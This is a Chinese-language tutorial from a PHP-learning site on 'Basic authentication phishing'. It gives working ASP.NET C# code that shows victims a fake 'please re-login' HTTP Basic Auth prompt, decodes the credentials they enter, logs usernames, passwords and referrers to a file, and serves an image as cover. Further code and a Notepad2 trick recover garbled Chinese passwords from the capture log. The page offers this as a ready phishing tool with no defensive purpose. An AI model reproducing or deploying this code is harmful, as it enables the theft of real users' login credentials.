网站地图    收藏   

主页 > 后端 > 网站安全 >

关于基础验证钓鱼中文乱码的解决方法 - 网站安

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 最近基础认证钓鱼很火,不过乱码始终是个问题。经测试后已实现的解决方法有两种:方法一:手动分析Request头如果客户端接受了WWW-AuThenticate验证,则会在下一次连接中添加请求头 A...

最近基础认证钓鱼很火,不过乱码始终是个问题。经测试后已实现的解决方法有两种:
 
方法一:手动分析Request头
 
如果客户端接受了WWW-AuThenticate验证,则会在下一次连接中添加请求头 Authorization,格式为:
 
[code] 
 
Authorization: Basic Og==
 
[/code]
 
Basic代表应用基础模式验证,由服务端WWW-AuThenticate头指定的验证模式指定。由于我们需要获取密码,所以这里一定为Basic。
 
之后以一个空格作为分隔符,其余的内容为用户名与密码,加密方式为标准BASE64,格式为 用户名:密码。
 
(更多资料请参考rfc文档。)
 
所以我们只需要判断请求头是否包含Authorization即可,如果没有的话则输出401返回头要求输入密码。
 
一段简单的C#代码:
 
[code="csharp"] <%
string logpath=Server.MapPath("\\fuck.config");
string info="please re-login";
string imgpath=Server.MapPath("\\img.jpg");
if(Request.Headers["Authorization"]==null||Request.Headers["Authorization"].StartsWith("Basic Og==")){
Response.Status="401 Unauthorized";
Response.AddHeader("WWW-AuThenticate",string.Format("basic ,Realm=\"{0}\"",info));
}
else{
string referrer=(Request.UrlReferrer==null)?"":Request.UrlReferrer.ToString();
System.IO.File.AppendAllText(logpath,Encoding.Default.GetString(Convert.FromBase64String(Request.Headers["Authorization"].Remove(0,5).Trim()))+"|"+referrer+"\r\n");
if(System.IO.File.Exists(imgpath))Response.BinaryWrite(System.IO.File.ReadAllBytes(imgpath));
}
%> [/code]
 
二、将乱码转换回正常的字符
 
乱码其实是西欧字符,在拓展ASCII中为0x7f-0xff,所以只需要转换回去就行了。
 
不过要注意:直接转换是不可能的。在中文操作系统中0x7f-0xff单个字节被认为是无效字符,转换后只能输出0x3f(?)。同时如果想将乱码保存到文件中,则必须使用unicode等格式保存,这时乱码将变为两字节,转换更加繁琐。
 
经过尝试可以使用以下C#代码转换,注意:必须在winform下编译使用,webform下即使是相同的Unicode编码也会转换出不同的字节数组,从而导致无法转换。
 
[code] 
 
using System;
using System.Text;
using System.Windows.Forms;
using System.Collections.Generic;
 
public class Decript
{
   public static void Main()
   {
       string s="С¾µÒ»¸öÈË";
       byte[] arrb = Encoding.Unicode.GetBytes(s);
       List<byte> lb=new List<byte>();
       foreach(byte b in arrb){if(b!=0)lb.Add(b);}
       Console.WriteLine(Encoding.Default.GetString(lb.ToArray()));
    }
}
 
[/code]
 
之后又找到更简便的方法:用Notepad2建立一个unicode文档,将乱码粘贴进去,之后在编码选择任意ISO开头的编码,保存后即转换完毕。
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论